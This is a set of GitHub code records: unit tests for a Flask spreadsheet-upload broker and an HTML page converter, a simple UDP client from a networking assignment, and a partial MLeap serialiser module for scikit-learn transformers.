{"seq_id":"19394825836","text":"from unittest import TestCase\n\nfrom flask import json\nfrom mock import patch\n\nfrom broker import broker_app\nfrom broker.broker_app import app\nfrom broker.hcaxlsbroker import SpreadsheetSubmission\nfrom broker.ingestapi import IngestApi\n\n\nclass BrokerAppTest(TestCase):\n\n    def setUp(self):\n        self.client = app.test_client()\n\n    def test_authorization_failed(self):\n        # when:\n        response = self.client.post('/api_upload')\n\n        # then:\n        self.assertEqual(401, response.status_code)\n\n    def test_failed_save(self):\n        with patch.object(broker_app, '_save_file') as save_file:\n            # given:\n            assert save_file is broker_app._save_file\n            save_file.side_effect = Exception(\"I/O error\")\n\n            # when:\n            response = self.client.post('/api_upload', headers={'Authorization': 'auth'})\n\n            # then:\n            self.assertEqual(500, response.status_code)\n\n    def test_value_error_on_spreadsheet_submission(self):\n        with patch.object(broker_app, '_save_file') as save_file, \\\n                patch.object(SpreadsheetSubmission, 'submit') as submit_spreadsheet:\n            # given:\n            save_file.return_value = 'path/to/file.xls'\n            submit_spreadsheet.side_effect = ValueError(\"value error\")\n\n            # when:\n            response = self.client.post('/api_upload', headers={'Authorization': 'auth'})\n\n            # then:\n            self.assertEqual(400, response.status_code)\n\n    def test_key_error_on_spreadsheet_submission(self):\n        with patch.object(broker_app, '_save_file') as save_file, \\\n                patch.object(SpreadsheetSubmission, 'submit') as submit_spreadsheet:\n            # given:\n            save_file.return_value = 'path/to/file.xls'\n            submit_spreadsheet.side_effect = KeyError(\"key error\")\n\n            # when:\n            response = self.client.post('/api_upload', headers={'Authorization': 'auth'})\n\n            # then:\n            self.assertEqual(400, response.status_code)\n\n    def test_submission_successful(self):\n        with patch.object(broker_app, '_save_file') as save_file, \\\n                patch.object(SpreadsheetSubmission, 'submit') as submit_spreadsheet, \\\n                patch.object(SpreadsheetSubmission, 'createSubmission') as create_submission, \\\n                patch.object(IngestApi, '__init__') as init_ingest_api, \\\n                patch.object(IngestApi, 'getObjectUuid') as get_object_uuid:\n            # given:\n            save_file.return_value = 'path/to/file.xls'\n\n            # and:\n            submission_id = '63fde9'\n            submission_url = \"https://sample.com/submission/%s\" % (submission_id)\n            create_submission.return_value = submission_url\n\n            # given:\n            init_ingest_api.return_value = None\n            uuid = 'dc54c78c-8556-4750-b527-b35b26645e39'\n            get_object_uuid.return_value = uuid\n\n            # when:\n            response = self.client.post('/api_upload', headers={'Authorization': 'auth'})\n\n            # then:\n            self.assertEqual(201, response.status_code)\n\n            # and: assert correct JSON details\n            self.assertTrue(response.data)\n            response_json = json.loads(response.data)\n            response_details = response_json['details']\n            self.assertEqual(submission_url, response_details['submission_url'])\n            self.assertEqual(uuid, response_details['submission_uuid'])\n            self.assertEqual(uuid, response_details['display_uuid'])\n            self.assertEqual(submission_id, response_details['submission_id'])","repo_name":"rdgoite/hca-monorepo","sub_path":"ingest-broker/test/test_broker_app.py","file_name":"test_broker_app.py","file_ext":"py","file_size_in_byte":3605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"10733087708","text":"# coding=utf-8\n\n\"\"\"\"HTML Converter\"\"\"\n\nimport io\nimport os\nimport tempfile\nimport unittest\n\nfrom .html_pages import HtmlPagesConverter, FileAccessWrapper\n\n\nclass HtmlPagesTest(unittest.TestCase):\n\n    def test_inserts_br_tags_for_linebreaks(self):\n        filename = os.path.join(tempfile.gettempdir(), 'file.txt')\n        f = open(filename, 'w', encoding='UTF-8')\n        f.write('plain text\\n')\n        f.close()\n        converter = HtmlPagesConverter(FileAccessWrapper(filename))\n        new_text = converter.get_html_page(0)\n        self.assertEqual(new_text, 'plain text<br />')\n\n    def test_quotes_escaped(self):\n        converter = HtmlPagesConverter(FakeFileWrapper(\"text with 'quotes'\"))\n        new_text = converter.get_html_page(0)\n        self.assertEqual(new_text, 'text with &#x27;quotes&#x27;<br />')\n\n    def test_random_access_pages(self):\n        text = 'Page one\\nPAGE_BREAK\\npage two\\nPAGE_BREAK\\n'\n        converter = HtmlPagesConverter(FakeFileWrapper(text))\n        page_two = converter.get_html_page(1)\n        self.assertEqual('page two<br />', page_two)\n\n    def test_nonexistent_file(self):\n        converter = HtmlPagesConverter(FileAccessWrapper('missing'))\n        self.assertEqual('', converter.get_html_page(0))\n\n\nclass FakeFileWrapper(object):\n\n    def __init__(self, text):\n        self.text = text\n\n    def open(self):\n        return io.StringIO(self.text)\n","repo_name":"lancelote/pluralsight-unit-testing-python","sub_path":"fake/test_html_pages.py","file_name":"test_html_pages.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"}
{"seq_id":"33177939226","text":"# Import socket module\r\nfrom socket import * \r\nimport sys # In order to terminate the program\r\n\r\nserverName = '10.84.97.64'\r\n\r\n# Assign a port number\r\nserverPort = 12000\r\n\r\n# Bind the socket to server address and server port\r\nclientSocket = socket(AF_INET, SOCK_DGRAM)\r\nsentence = 'This is a message from tobi ' #this is our data\r\n\r\n#clientSocket.connect((serverName, serverPort))\r\nclientSocket.sendto( sentence.encode(), (serverName, serverPort))\r\n\r\n#receiving back from server\r\nmodifiedSentence, serverAddress = clientSocket.recvfrom(2048)\r\n\r\n#print server address backd\r\nprint('From server: ', modifiedSentence.decode())\r\nclientSocket.close()\r\n","repo_name":"TobiOnabolu/ComputerNetworks","sub_path":"Assignment1/UDPClient.py","file_name":"UDPClient.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"25015392464","text":"import json\nimport os\nimport shutil\nimport uuid\nimport warnings\nfrom collections import OrderedDict\n\nimport numpy as np\nimport pandas as pd\nfrom mleap.bundle.serialize import MLeapSerializer, MLeapDeserializer, Vector\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler, Binarizer, PolynomialFeatures, OneHotEncoder, LabelEncoder\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.utils import column_or_1d\nfrom sklearn.utils.validation import check_is_fitted\n\n\nclass ops(object):\n    def __init__(self):\n        self.STANDARD_SCALER = 'standard_scaler'\n        self.MIN_MAX_SCALER = 'min_max_scaler'\n        self.LABEL_ENCODER = 'string_indexer'\n        self.ONE_HOT_ENCODER = 'one_hot_encoder'\n        self.IMPUTER = 'imputer'\n        self.NDARRAYTODATAFRAME = 'one_dim_array_to_dataframe'\n        self.TODENSE = 'dense_transformer'\n        self.BINARIZER = 'sklearn_binarizer'\n        self.POLYNOMIALEXPANSION = 'sklearn_polynomial_expansion'\n\nops = ops()\n\n\ndef serialize_to_bundle(self, path, model_name):\n    serializer = SimpleSerializer()\n    return serializer.serialize_to_bundle(self, path, model_name)\n\n\ndef deserialize_from_bundle(self, path, node_name):\n    serializer = SimpleSerializer()\n    return serializer.deserialize_from_bundle(self, path, node_name)\n\n\ndef mleap_init(self, prior_tf, output_features=None):\n\n    self.name = \"{}_{}\".format(self.op, uuid.uuid1())\n\n    if prior_tf.op == 'vector_assembler':\n        self.input_features = prior_tf.output_vector\n        output_shape = 'tensor'\n        output_size = len(prior_tf.input_features)\n        output_feature_name = prior_tf.output_vector\n\n    else:\n        self.input_features = prior_tf.output_features\n        output_shape = 'scalar'\n        output_size = 1\n        output_feature_name = prior_tf.output_features\n\n    class_name = self.__class__.__name__\n\n    if output_features is not None:\n        self.output_features = output_features\n    else:\n        self.output_features = \"{}_{}\".format(output_feature_name, class_name.lower())\n\n    if class_name == 'PolynomialFeatures':\n        self.input_size = len(prior_tf.input_features)\n\n    elif output_shape == 'tensor':\n        self.input_shapes = {'data_shape': [{'shape':'tensor',\n                                                 \"tensor_shape\": {\"dimensions\": [{\"size\": output_size}]}}]}\n    else:\n        self.input_shapes = {'data_shape': [{'shape': output_shape}]}\n\n\nsetattr(StandardScaler, 'op', ops.STANDARD_SCALER)\nsetattr(StandardScaler, 'serialize_to_bundle', serialize_to_bundle)\nsetattr(StandardScaler, 'deserialize_from_bundle', deserialize_from_bundle)\nsetattr(StandardScaler, 'mlinit', mleap_init)\nsetattr(StandardScaler, 'serializable', True)\n\nsetattr(MinMaxScaler, 'op', ops.MIN_MAX_SCALER)\nsetattr(MinMaxScaler, 'mlinit', mleap_init)\nsetattr(MinMaxScaler, 'serialize_to_bundle', serialize_to_bundle)\nsetattr(MinMaxScaler, 'deserialize_from_bundle', deserialize_from_bundle)\nsetattr(MinMaxScaler, 'serializable', True)\n\nsetattr(SimpleImputer, 'op', ops.IMPUTER)\nsetattr(SimpleImputer, 'mlinit', mleap_init)\nsetattr(SimpleImputer, 'serialize_to_bundle', serialize_to_bundle)\nsetattr(SimpleImputer, 'serializable', True)\n\nsetattr(OneHotEncoder, 'op', ops.ONE_HOT_ENCODER)\nsetattr(OneHotEncoder, 'mlinit', mleap_init)\nsetattr(OneHotEncoder, 'serialize_to_bundle', serialize_to_bundle)\nsetattr(OneHotEncoder, 'deserialize_from_bundle', deserialize_from_bundle)\nsetattr(OneHotEncoder, 'serializable', True)\n\nsetattr(Binarizer, 'op', ops.BINARIZER)\nsetattr(Binarizer, 'mlinit', mleap_init)\nsetattr(Binarizer, 'serialize_to_bundle', serialize_to_bundle)\nsetattr(Binarizer, 'deserialize_from_bundle', deserialize_from_bundle)\nsetattr(Binarizer, 'serializable', True)\n\nsetattr(PolynomialFeatures, 'op', ops.POLYNOMIALEXPANSION)\nsetattr(PolynomialFeatures, 'mlinit', mleap_init)\nsetattr(PolynomialFeatures, 'serialize_to_bundle', serialize_to_bundle)\nsetattr(PolynomialFeatures, 'deserialize_from_bundle', deserialize_from_bundle)\nsetattr(PolynomialFeatures, 'serializable', True)\n\n\nclass SimpleSerializer(object):\n    \"\"\"\n    Extends base scikit-learn transformers to include:\n        - set_input_features\n        - set_output_features\n        - serialize_to_bundle\n    methods. The set input/output features are required to maintain parity with the Spark/MLeap execution engine.\n    \"\"\"\n    def __init__(self):\n        super(SimpleSerializer, self).__init__()\n\n    @staticmethod\n    def _choose_serializer(transformer):\n        serializer = None\n        if transformer.op == ops.STANDARD_SCALER:\n            serializer = StandardScalerSerializer()\n        elif transformer.op == ops.MIN_MAX_SCALER:\n            serializer = MinMaxScalerSerializer()\n        elif transformer.op == ops.ONE_HOT_ENCODER:\n            serializer = OneHotEncoderSerializer()\n        elif transformer.op == ops.IMPUTER:\n            serializer = ImputerSerializer()\n        elif transformer.op == ops.BINARIZER:\n            serializer = BinarizerSerializer()\n        elif transformer.op == ops.POLYNOMIALEXPANSION:\n            serializer = PolynomialExpansionSerializer()\n        return serializer\n\n    @staticmethod\n    def set_input_features(transformer, input_features):\n        transformer.input_features = input_features\n\n    @staticmethod\n    def set_output_features(transformer, output_features):\n        transformer.output_features = output_features\n\n    def serialize_to_bundle(self, transformer, path, model_name):\n        serializer = self._choose_serializer(transformer)\n        serializer.serialize_to_bundle(transformer, path, model_name)\n\n    def deserialize_from_bundle(self, transformer, path, node_name):\n        deserializer = self._choose_serializer(transformer)\n        transformer = deserializer.deserialize_from_bundle(transformer, path, node_name)\n        return transformer\n\n\ndef _to_list(x):\n    if isinstance(x, list):\n        return x\n    return list(x)\n\n\nclass FeatureExtractor(BaseEstimator, TransformerMixin, MLeapSerializer):\n    def __init__(self, input_scalars=None, input_vectors=None, output_vector=None, output_vector_items=None):\n        \"\"\"\n        Selects a subset of features from a pandas dataframe that are then passed into a subsequent transformer.\n        MLeap treats this transformer like a VectorAssembler equivalent in spark.\n        >>> data = pd.DataFrame([['a', 0, 1], ['b', 1, 2], ['c', 3, 4]], columns=['col_a', 'col_b', 'col_c'])\n        >>> vector_items = ['col_b', 'col_c']\n        >>> input_shapes = {'data_shape': [{'shape':'scalar'}, {'shape':'scalar'}]}\n        >>> input_shapes = {'data_shape': [{'shape':'tensor', \"tensor_shape\": {\"dimensions\": [{\"size\": 23}]}}]}\n        >>> feature_extractor2_tf = FeatureExtractor(vector_items, 'continuous_features', vector_items, input_shapes)\n        >>> feature_extractor2_tf.fit_transform(data).head(1).values\n        >>> array([[0, 1]])\n        :param input_vectors: List of scalar feature names that are being extracted from a DataFrame\n        :param input_vectors: List of FeatureExtractors that were used to generate the input vectors\n        :param input_features: List of features to extracts from a pandas data frame\n        :param output_vector: Name of the output vector, only used for serialization\n        :param output_vector_items: List of output feature names\n        :param input_shapes: the shape of each input feature, whether it is scalar or a vector\n        if it's a vector, then we include size information of the vector\n        :return:\n        \"\"\"\n        self.input_scalars = input_scalars\n        self.input_vectors = input_vectors\n        self.input_features = self.get_input_features(input_scalars, input_vectors)\n        self.output_vector_items = output_vector_items\n        self.output_vector = output_vector\n        self.op = 'vector_assembler'\n        self.name = \"{}_{}\".format(self.op, uuid.uuid1())\n        self.dtypes = None\n        self.serializable = True\n        self.skip_fit_transform = False\n        self.input_size = None\n        self.input_shapes = None\n\n    def get_input_features(self, input_scalars, input_vectors):\n        if input_scalars is not None:\n            return input_scalars\n        elif input_vectors is not None and isinstance(input_vectors, list) and len(input_vectors)>0:\n            features = list()\n            for x in input_vectors:\n                if 'output_vector' in x.__dict__:\n                    features.append(x.output_vector)\n                elif 'output_features' in x.__dict__:\n                    features.append(x.output_features)\n            return features\n        else:\n            raise BaseException(\"Unable To Define Input Features\")\n\n    def transform(self, df, **params):\n        if not self.skip_fit_transform:\n            return df[self.input_features]\n        return df\n\n    def assign_input_shapes(self, X):\n        # Figure out the data shape\n        if self.input_scalars is not None and isinstance(X, pd.DataFrame):\n            self.input_shapes = {'data_shape': [{'shape': 'scalar'}]*len(self.input_features)}\n\n        elif self.input_vectors is not None:\n            self.input_shapes = {'data_shape': []}\n            for vector in self.input_vectors:\n                if vector.op not in [ops.ONE_HOT_ENCODER, ops.POLYNOMIALEXPANSION]:\n                    shape = {'shape': 'tensor', \"tensor_shape\": {\"dimensions\": [{\"size\": len(vector.input_features)}]}}\n                    self.input_shapes['data_shape'].append(shape)\n                elif vector.op == ops.ONE_HOT_ENCODER:\n                    shape = {'shape': 'tensor', \"tensor_shape\": {\"dimensions\": [{\"size\": int(vector.n_values_[0] - 1)}]}}\n                    self.input_shapes['data_shape'].append(shape)\n        return self\n\n    def fit(self, X, y=None, **fit_params):\n        self.assign_input_shapes(X)\n        if not self.skip_fit_transform:\n            self.dtypes = X[self.input_features].dtypes.to_dict()\n            if len([x for x in self.dtypes.values() if x.type == np.object_]) != 0:\n                self.serializable = False\n        return self\n\n    def fit_transform(self, X, y=None, **fit_params):\n        if not self.skip_fit_transform:\n            self.fit(X)\n        else:\n            self.assign_input_shapes(X)\n\n        df_subset = self.transform(X)\n        return df_subset\n\n    def serialize_to_bundle(self, path, model_name):\n\n        # compile tuples of model attributes to serialize\n        attributes = list()\n        attributes.append((\"input_shapes\", self.input_shapes))\n\n        # define node inputs and outputs\n        inputs = [{'name': x, 'port': 'input{}'.format(self.input_features.index(x))} for x in self.input_features]\n\n        outputs = [{\n                  \"name\": self.output_vector,\n                  \"port\": \"output\"\n                }]\n\n        self.serialize(self, path, model_name, attributes, inputs, outputs)\n\n\nclass LabelEncoder(BaseEstimator, TransformerMixin, MLeapSerializer, MLeapDeserializer):\n    \"\"\"\n    Copied from sklearn, but enables passing X and Y features, which allows this transformer\n    to be used in Pipelines.\n\n    Converts categorical values of a single column into categorical indices. This transformer should be followed by a\n    NDArrayToDataFrame transformer to maintain a data structure required by scikit pipelines.\n\n    NOTE: You can only LabelEncode/String Index one feature at a time!!!\n\n    >>> data = pd.DataFrame([['a', 0], ['b', 1], ['b', 3], ['c', 1]], columns=['col_a', 'col_b'])\n    >>> # Label Encoder for x1 Label\n    >>> label_encoder_tf = LabelEncoder(input_features = ['col_a'] , output_features='col_a_label_le')\n    >>> # Convert output of Label Encoder to Data Frame instead of 1d-array\n    >>> n_dim_array_to_df_tf = NDArrayToDataFrame('col_a_label_le')\n    >>> n_dim_array_to_df_tf.fit_transform(label_encoder_tf.fit_transform(data['col_a']))\n\n    Encode labels with value between 0 and n_classes-1.\n\n    Read more in the :ref:`User Guide <preprocessing_targets>`.\n\n    Attributes\n    ----------\n    classes_ : array of shape (n_class,)\n        Holds the label for each class.\n\n    Examples\n    --------\n    `LabelEncoder` can be used to normalize labels.\n\n    >>> from sklearn import preprocessing\n    >>> le = preprocessing.LabelEncoder()\n    >>> le.fit([1, 2, 2, 6])\n    LabelEncoder()\n    >>> le.classes_\n    array([1, 2, 6])\n    >>> le.transform([1, 1, 2, 6]) #doctest: +ELLIPSIS\n    array([0, 0, 1, 2]...)\n    >>> le.inverse_transform([0, 0, 1, 2])\n    array([1, 1, 2, 6])\n\n    It can also be used to transform non-numerical labels (as long as they are\n    hashable and comparable) to numerical labels.\n\n    >>> le = preprocessing.LabelEncoder()\n    >>> le.fit([\"paris\", \"paris\", \"tokyo\", \"amsterdam\"])\n    LabelEncoder()\n    >>> list(le.classes_)\n    ['amsterdam', 'paris', 'tokyo']\n    >>> le.transform([\"tokyo\", \"tokyo\", \"paris\"]) #doctest: +ELLIPSIS\n    array([2, 2, 1]...)\n    >>> list(le.inverse_transform([2, 2, 1]))\n    ['tokyo', 'tokyo', 'paris']\n\n    \"\"\"\n    def __init__(self, input_features=None, output_features=None):\n        self.input_features = input_features\n        self.output_features = output_features\n        self.op = 'string_indexer'\n        self.name = \"{}_{}\".format(self.op, uuid.uuid1())\n        self.serializable = True\n\n\n    def fit(self, X):\n        \"\"\"Fit label encoder\n\n        Parameters\n        ----------\n        y : array-like of shape (n_samples,)\n            Target values.\n\n        Returns\n        -------\n        self : returns an instance of self.\n        \"\"\"\n        X = column_or_1d(X, warn=True)\n        self.classes_ = np.unique(X)\n        return self\n\n    def fit_transform(self, X, y=None, **fit_params):\n        \"\"\"Fit label encoder and return encoded labels\n\n        Parameters\n        ----------\n        y : array-like of shape [n_samples]\n            Target values.\n\n        Returns\n        -------\n        y : array-like of shape [n_samples]\n        \"\"\"\n        y = column_or_1d(X, warn=True)\n        self.classes_, X = np.unique(X, return_inverse=True)\n        return X\n\n    def transform(self, y):\n        \"\"\"Transform labels to normalized encoding.\n\n        Parameters\n        ----------\n        y : array-like of shape [n_samples]\n            Target values.\n\n        Returns\n        -------\n        y : array-like of shape [n_samples]\n        \"\"\"\n        check_is_fitted(self, 'classes_')\n        y = column_or_1d(y, warn=True)\n\n        classes = np.unique(y)\n        if len(np.intersect1d(classes, self.classes_)) < len(classes):\n            diff = np.setdiff1d(classes, self.classes_)\n            raise ValueError(\"y contains new labels: %s\" % str(diff))\n        return np.searchsorted(self.classes_, y)\n\n    def inverse_transform(self, y):\n        \"\"\"Transform labels back to original encoding.\n\n        Parameters\n        ----------\n        y : numpy array of shape [n_samples]\n            Target values.\n\n        Returns\n        -------\n        y : numpy array of shape [n_samples]\n        \"\"\"\n        check_is_fitted(self, 'classes_')\n\n        diff = np.setdiff1d(y, np.arange(len(self.classes_)))\n        if diff:\n            raise ValueError(\"y contains new labels: %s\" % str(diff))\n        y = np.asarray(y)\n        return self.classes_[y]\n\n    def serialize_to_bundle(self, path, model_name):\n\n        # compile tuples of model attributes to serialize\n        attributes = list()\n        attributes.append(('labels', self.classes_.tolist()))\n        attributes.append(('nullable_input', False))\n\n        # define node inputs and outputs\n        inputs = [{\n                  \"name\": self.input_features[0],\n                  \"port\": \"input\"\n                }]\n\n        outputs = [{\n                  \"name\": self.output_features,\n                  \"port\": \"output\"\n                }]\n\n        self.serialize(self, path, model_name, attributes, inputs, outputs)\n\n    def deserialize_from_bundle(self, node_path, node_name):\n\n        attributes_map = {\n            'labels': 'classes_'\n        }\n\n        full_node_path = os.path.join(node_path, node_name)\n        transformer = self.deserialize_single_input_output(self, full_node_path, attributes_map)\n\n        return transformer\n\n\nclass MinMaxScalerSerializer(MLeapSerializer, MLeapDeserializer):\n    \"\"\"\n    Scales features by the range of values using calculated min and max from training data.\n\n    >>> data = pd.DataFrame([[1], [5], [6], [1]], columns=['col_a'])\n    >>> minmax_scaler_tf = MinMaxScaler()\n    >>> minmax_scaler_tf.mlinit(input_features='col_a', output_features='scaled_cont_features')\n\n    >>> minmax_scaler_tf.fit_transform(data)\n    >>> array([[ 0.],\n    >>>      [ 0.8],\n    >>>      [ 1.],\n    >>>      [ 0.]])\n    \"\"\"\n    def __init__(self):\n        super(MinMaxScalerSerializer, self).__init__()\n\n    def serialize_to_bundle(self, transformer, path, model_name):\n\n        # compile tuples of model attributes to serialize\n        attributes = list()\n        attributes.append(('min', _to_list(transformer.data_min_)))\n        attributes.append(('max', _to_list(transformer.data_max_)))\n\n        # define node inputs and outputs\n        inputs = [{\n                  \"name\": transformer.input_features,\n                  \"port\": \"input\"\n                }]\n\n        outputs = [{\n                  \"name\": transformer.output_features,\n                  \"port\": \"output\"\n                }]\n\n        self.serialize(transformer, path, model_name, attributes, inputs, outputs)\n\n    def deserialize_from_bundle(self, transformer, node_path, node_name):\n\n        # Default (and only range supported)\n        feature_range = (0, 1)\n\n        attributes_map = {\n            'min': 'data_min_',\n            'max': 'data_max_'\n        }\n\n        full_node_path = os.path.join(node_path, node_name)\n        transformer = self.deserialize_single_input_output(transformer, full_node_path, attributes_map)\n        transformer.data_range_ = np.array(transformer.data_max_) - np.array(transformer.data_min_)\n\n        transformer.scale_ = ((feature_range[1] - feature_range[0]) / transformer.data_range_)\n\n        transformer.min_ = feature_range[0] - transformer.data_min_ * transformer.scale_\n\n        return transformer\n\n\nclass ImputerSerializer(MLeapSerializer):\n    def __init__(self):\n        super(ImputerSerializer, self).__init__()\n        self.serializable = False\n\n    def serialize_to_bundle(self, transformer, path, model_name):\n        if transformer.strategy == 'most_frequent' or transformer.strategy == 'constant':\n            raise NotImplementedError(f\"Scikit-learn's Imputer strategy `{transformer.strategy}` is not supported by MLeap\")\n        if transformer.add_indicator:\n            raise NotImplementedError(\"Scikit-learn's Imputer parameter `add_indicator` is not supported by MLeap\")\n        if len(transformer.statistics_.tolist()) != 1:\n            raise NotImplementedError(\"MLeap's Imputer only supports imputing a single feature at a time\")\n\n        attributes = list()\n        attributes.append(('strategy', transformer.strategy))\n        attributes.append(('surrogate_value', transformer.statistics_.tolist()[0]))\n        if not np.isnan(transformer.missing_values):\n            attributes.append(('missing_value', transformer.missing_values))\n\n        inputs = [{\n                  \"name\": transformer.input_features,\n                  \"port\": \"input\"\n                }]\n\n        outputs = [{\n                  \"name\": transformer.output_features,\n                  \"port\": \"output\"\n                }]\n\n        self.serialize(transformer, path, model_name, attributes, inputs, outputs)\n\n\nclass StandardScalerSerializer(MLeapSerializer, MLeapDeserializer):\n    \"\"\"\n    Standardizes features by removing the mean and scaling to unit variance using mean and standard deviation from\n    training data.\n    >>> data = pd.DataFrame([[1], [5], [6], [1]], columns=['col_a'])\n    >>> standard_scaler_tf = StandardScaler()\n    >>> standard_scaler_tf.mlinit(input_features='col_a', output_features='scaled_cont_features')\n    >>> standard_scaler_tf.fit_transform(data)\n    >>> array([[-0.98787834],\n    >>>         [ 0.76834982],\n    >>>         [ 1.20740686],\n    >>>         [-0.98787834]])\n    \"\"\"\n    def __init__(self):\n        super(StandardScalerSerializer, self).__init__()\n\n    def serialize_to_bundle(self, transformer, path, model_name):\n\n        # compile tuples of model attributes to serialize\n        attributes = list()\n        attributes.append(('mean', transformer.mean_.tolist()))\n        attributes.append(('std', [np.sqrt(x) for x in transformer.var_]))\n\n        # define node inputs and outputs\n        inputs = [{\n                  \"name\": transformer.input_features,\n                  \"port\": \"input\"\n                }]\n\n        outputs = [{\n                  \"name\": transformer.output_features,\n                  \"port\": \"output\"\n                }]\n\n        self.serialize(transformer, path, model_name, attributes, inputs, outputs)\n\n    def deserialize_from_bundle(self, transformer, node_path, node_name):\n\n        attributes_map = {\n            'mean': 'mean_',\n            'std': 'scale_'\n        }\n\n        # Set serialized attributes\n        full_node_path = os.path.join(node_path, node_name)\n        transformer = self.deserialize_single_input_output(transformer, full_node_path, attributes_map)\n\n        # Set Additional Attributes\n        if 'mean_' in transformer.__dict__:\n            transformer.with_mean = True\n        else:\n            transformer.with_mean = False\n\n        if 'scale_' in transformer.__dict__:\n            transformer.with_std = True\n            transformer.var = np.square(transformer.scale_)\n        else:\n            transformer.with_std = False\n\n        return transformer\n\n\nclass OneHotEncoderSerializer(MLeapSerializer, MLeapDeserializer):\n    \"\"\"\n    A one-hot encoder maps a single column of categorical indices to a\n    column of binary vectors, which can be re-assamble back to a DataFrame using a ToDense transformer.\n    \"\"\"\n\n    def __init__(self):\n        super(OneHotEncoderSerializer, self).__init__()\n\n    def serialize_to_bundle(self, transformer, path, model_name):\n        if len(transformer.categories_) != 1:\n            raise NotImplementedError(\"MLeap can only one-hot encode a single feature at a time\")\n        single_feature_categories = transformer.categories_[0]\n        if not np.array_equal(single_feature_categories, np.arange(single_feature_categories.size)):\n            raise ValueError(f\"Categories {single_feature_categories} do not form a valid index range\")\n        if transformer.drop is not None:\n            raise NotImplementedError(\"Scikit-learn's OneHotEncoder `drop` parameter is not supported by MLeap\")\n        if transformer.dtype != np.float64:\n            raise NotImplementedError(\"Scikit-learn's OneHotEncoder `dtype` parameter is not supported by MLeap\")\n\n        attributes = list()\n        attributes.append(('size', single_feature_categories.size))\n        if transformer.handle_unknown == 'ignore':\n            # MLeap's OneHotEncoderModel adds an extra column when keeping invalid data\n            # so we drop that extra column to match sklearn's ignore behavior\n            attributes.append(('handle_invalid', 'keep'))\n            attributes.append(('drop_last', True))\n        else:\n            attributes.append(('handle_invalid', 'error'))\n            attributes.append(('drop_last', False))\n\n        inputs = [{\n                  \"name\": transformer.input_features,\n                  \"port\": \"input\"\n                }]\n\n        outputs = [{\n                  \"name\": transformer.output_features,\n                  \"port\": \"output\"\n                }]\n\n        self.serialize(transformer, path, model_name, attributes, inputs, outputs)\n\n    def deserialize_from_bundle(self, transformer, node_path, node_name):\n\n        attributes_map = {\n            'size': 'categories_',\n            'handle_invalid': 'handle_unknown',\n        }\n\n        full_node_path = os.path.join(node_path, node_name)\n        transformer = self.deserialize_single_input_output(transformer, full_node_path, attributes_map)\n\n        transformer.categories_ = np.asarray([range(transformer.categories_)])\n        if transformer.handle_unknown == 'keep':\n            transformer.handle_unknown = 'ignore'\n        transformer.drop_idx_ = None\n\n        transformer.sparse = False\n\n        return transformer\n\n\nclass BinarizerSerializer(MLeapSerializer, MLeapDeserializer):\n    def __init__(self):\n        super(BinarizerSerializer, self).__init__()\n\n\n\n    def serialize_to_bundle(self, transformer, path, model_name):\n\n        # compile tuples of model attributes to serialize\n        attributes = list()\n        attributes.append(('threshold', float(transformer.threshold)))\n        attributes.append((\"input_shapes\", transformer.input_shapes))\n\n        # define node inputs and outputs\n        inputs = [{\n                  \"name\": transformer.input_features,\n                  \"port\": \"input\"\n                }]\n\n        outputs = [{\n                  \"name\": transformer.output_features,\n                  \"port\": \"output\"\n                }]\n\n        self.serialize(transformer, path, model_name, attributes, inputs, outputs)\n\n    def deserialize_from_bundle(self, transformer, node_path, node_name):\n\n        full_node_path = os.path.join(node_path, node_name)\n        transformer = self.deserialize_single_input_output(transformer, full_node_path)\n\n        return transformer\n\n\nclass PolynomialExpansionSerializer(MLeapSerializer, MLeapDeserializer):\n    def __init__(self):\n        super(PolynomialExpansionSerializer, self).__init__()\n\n    def serialize_to_bundle(self, transformer, path, model_name):\n\n        # compile tuples of model attributes to serialize\n        attributes = list()\n        attributes.append(('combinations', str(transformer.get_feature_names()).replace(\"'\", \"\").replace(\", \", \",\")))\n\n        # define node inputs and outputs\n        inputs = [{\n                  \"name\": transformer.input_features,\n                  \"port\": \"input\"\n                }]\n\n        outputs = [{\n                  \"name\": transformer.output_features,\n                  \"port\": \"output\"\n                }]\n\n        self.serialize(transformer, path, model_name, attributes, inputs, outputs)\n\n    def deserialize_from_bundle(self, transformer, node_path, node_name):\n\n        full_node_path = os.path.join(node_path, node_name)\n        transformer = self.deserialize_single_input_output(transformer, full_node_path)\n        transformer.include_bias = False\n\n        # Get number of input features\n        with open(\"{}/node.json\".format(full_node_path)) as json_data:\n            node_j = json.load(json_data)\n\n        # Set powers\n        transformer.n_input_features_ = len(node_j['shape']['inputs'][0]['name']) # TODO: Make this dynamic\n        transformer.interaction_only = False\n\n        transformer.n_output_features_ = sum(1 for _ in transformer._combinations(transformer.n_input_features_,\n                                                                                  transformer.degree,\n                                                                                  transformer.interaction_only,\n                                                                                  transformer.include_bias))\n        return transformer\n\n\nclass ReshapeArrayToN1(BaseEstimator, TransformerMixin):\n    def __init__(self):\n        self.serializable=False\n        self.op='reshape_array'\n        self.name = \"{}_{}\".format(self.op, uuid.uuid1())\n\n    def transform(self, X, **params):\n        \"\"\"\n        :type X: np.ndarray\n        :param X:\n        :param params:\n        :return:\n        \"\"\"\n        return X.reshape(X.size, 1)\n\n    def fit(self, df, y=None, **fit_params):\n        return self\n\n    def fit_transform(self, X, y=None, **fit_params):\n        return self.transform(X)\n\n\nclass NDArrayToDataFrame(BaseEstimator, TransformerMixin):\n    def __init__(self, input_features):\n        self.input_features = input_features\n        self.output_features = input_features\n        self.op = 'one_dim_array_to_dataframe'\n        self.name = \"{}_{}\".format(self.op, uuid.uuid1())\n\n    def transform(self, X, **params):\n        if isinstance(X, np.ndarray):\n            return pd.DataFrame(X, columns=[self.input_features])\n        return pd.DataFrame(X.todense(), columns=[self.input_features])\n\n    def fit(self, df, y=None, **fit_params):\n        return self\n\n    def fit_transform(self, X, y=None, **fit_params):\n        return self.transform(X)\n\n    def get_mleap_model(self):\n        js = {\n          \"op\": self.op\n        }\n        return js\n\n    def get_mleap_node(self):\n        js = {\n          \"name\": self.name,\n          \"shape\": {\n            \"inputs\": [{'name': x, 'port': 'input{}'.format(self.input_features.index(x))} for x in self.input_features],\n            \"outputs\": [{\n              \"name\": self.output_features,\n              